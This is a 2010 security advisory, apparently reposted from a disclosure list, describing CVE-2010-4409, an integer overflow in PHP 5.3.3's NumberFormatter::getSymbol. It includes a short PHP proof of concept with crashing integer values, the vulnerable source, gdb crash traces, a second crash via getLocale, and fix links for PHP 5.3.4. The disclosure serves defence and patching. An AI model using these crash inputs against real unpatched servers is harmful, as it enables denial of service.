ExploitFixes
PHP 5.3.3 NumberFormatter::getSymbol Integer Overflow - [CVE: 2010-4409] 2010-12-10 17:15:05

From: Maksymilian Arciemowicz <cxib () securityreason com>
Date: Fri, 10 Dec 2010 14:43:32 +0100
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[ PHP 5.3.3 NumberFormatter::getSymbol Integer Overflow ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 11.11.2010
- - Pub.: 10.12.2010

CERT: VU#479900
CVE: CVE-2010-4409
CWE: CWE-189
Status: Fixed in PHP 5.3.4

Affected Software:
- - PHP 5.3.3

Original URL:
http://securityreason.com/achievement_securityalert/91


- --- 0.Description ---
Internationalization extension (further is referred as Intl) is a
wrapper for ICU library, enabling PHP programmers to perform
UCA-conformant collation and date/time/number/currency formatting in
their scripts.

Number Formatter: allows to display number according to the localized
format or given pattern or set of rules, and to parse strings into numbers.


- --- 1. PoC for Integer Overflow ---
$nx=new NumberFormatter("pl",1);
$nx->getSymbol(2147483648);


- --- 2. PHP 5.3.3/5.2.14 NumberFormatter::getSymbol Integer Overflow ---
As we can see in

- ---
PHP_FUNCTION( numfmt_get_symbol )
{
long symbol;
UChar value_buf[4];
UChar *value = value_buf;
int length = USIZE(value);
FORMATTER_METHOD_INIT_VARS;

/* Parse parameters. */
if( zend_parse_method_parameters( ZEND_NUM_ARGS() TSRMLS_CC, getThis(),
"Ol",
&object, NumberFormatter_ce_ptr, &symbol ) == FAILURE )
{
intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR,
"numfmt_get_symbol: unable to parse input params", 0 TSRMLS_CC );

RETURN_FALSE;
}

/* Fetch the object. */
FORMATTER_METHOD_FETCH_OBJECT;

length = unum_getSymbol(FORMATTER_OBJECT(nfo), symbol, value_buf,
length, &INTL_DATA_ERROR_CODE(nfo)); <================= !!!TO BIG INT
HERE!!!
...
- ---

will crash for differ value. example {2444492804, 2147483648,
2147483649, 2554462209} (when rdi out off band (range 2to31 2to32 under
64bits linux)

Program received signal SIGSEGV, Segmentation fault.
0x00007fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned short*,
int, UErrorCode&) const () from /usr/lib/libicuuc.so.42
(gdb) bt
#0 0x00007fffedf317f5 in icu_4_2::UnicodeString::extract(unsigned
short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42
#1 0x00007fffee5d11c0 in zif_numfmt_get_symbol (ht=17168120,
return_value=0x105c928, return_value_ptr=0x4, this_ptr=0x105f710,
return_value_used=17168144)
at /build/buildd/php5-5.3.3/ext/intl/formatter/formatter_attr.c:269
...blabla

rip 0x7fffedf317f5 0x7fffedf317f5
<icu_4_2::UnicodeString::extract(unsigned short*, int, UErrorCode&)
const+21>
eflags 0x10206 [ PF IF RF ]

let`s see value ~4294901761

$nx=new NumberFormatter("pl",1);
$nx->getSymbol(4294901761);

will crash in memcpy(3) ;]

Program received signal SIGSEGV, Segmentation fault.
memcpy () at ../sysdeps/x86_64/memcpy.S:90
90 ../sysdeps/x86_64/memcpy.S: No such file or directory.
in ../sysdeps/x86_64/memcpy.S
(gdb) bt
#0 memcpy () at ../sysdeps/x86_64/memcpy.S:90
#1 0x00007fffea74a86a in icu_4_2::UnicodeString::extract(unsigned
short*, int, UErrorCode&) const () from /usr/lib/libicuuc.so.42
#2 0x00007fffeadea2b4 in zif_numfmt_get_symbol (ht=17826952,
return_value=0x10fecd0, return_value_ptr=0xc, this_ptr=0x11004a0,
return_value_used=17826976)
at /build/buildd/php5-5.3.3/ext/intl/formatter/formatter_attr.c:274
#3 0x00000000006e986a in zend_do_fcall_common_helper_SPEC (
execute_data=0x7ffff7eb8068)
at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316
...

let's see ICU UnicodeString::extract(unsigned short*, int, UErrorCode&)

- ---
int32_t
UnicodeString::extract(UChar *dest, int32_t destCapacity,
UErrorCode &errorCode) const {
int32_t len = length();
if(U_SUCCESS(errorCode)) {
if(isBogus() || destCapacity<0 || (destCapacity>0 && dest==0)) {
errorCode=U_ILLEGAL_ARGUMENT_ERROR;
} else {
const UChar *array = getArrayStart();
if(len>0 && len<=destCapacity && array!=dest) {
uprv_memcpy(dest, array, len*U_SIZEOF_UCHAR); <======= MEMCPY
REFERENCE HERE
}
return u_terminateUChars(dest, destCapacity, len, &errorCode);
}
}

return len;

}
- ---

so crash in rip=memcpy(3).

Method getLocal() also can generate simple crash (CWE-170)

$nx=new IntlDateFormatter("pl", IntlDateFormatter::FULL,
IntlDateFormatter::FULL);
$nx->getLocale(1);


- --- 3. Fix ---
Fix in next PHP Version 5.3.4:
http://www.kb.cert.org/vuls/id/479900

SVN:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/intl/dateformat/dateformat_attr.c?view=log
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/intl/formatter/formatter_attr.c?view=log


- --- 4. Greets ---
Special thanks for Pierre Joye and Stas Malyshev for very quickly fix
Michael Orlando for security support

and sp3x, Infospec


- --- 5. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://cxib.net/
- --
Best Regards
pub 4096R/D6E5B530 2010-09-19
uid Maksymilian Arciemowicz (cx) <max () cxib net>
sub 4096R/58BA663C 2010-09-19
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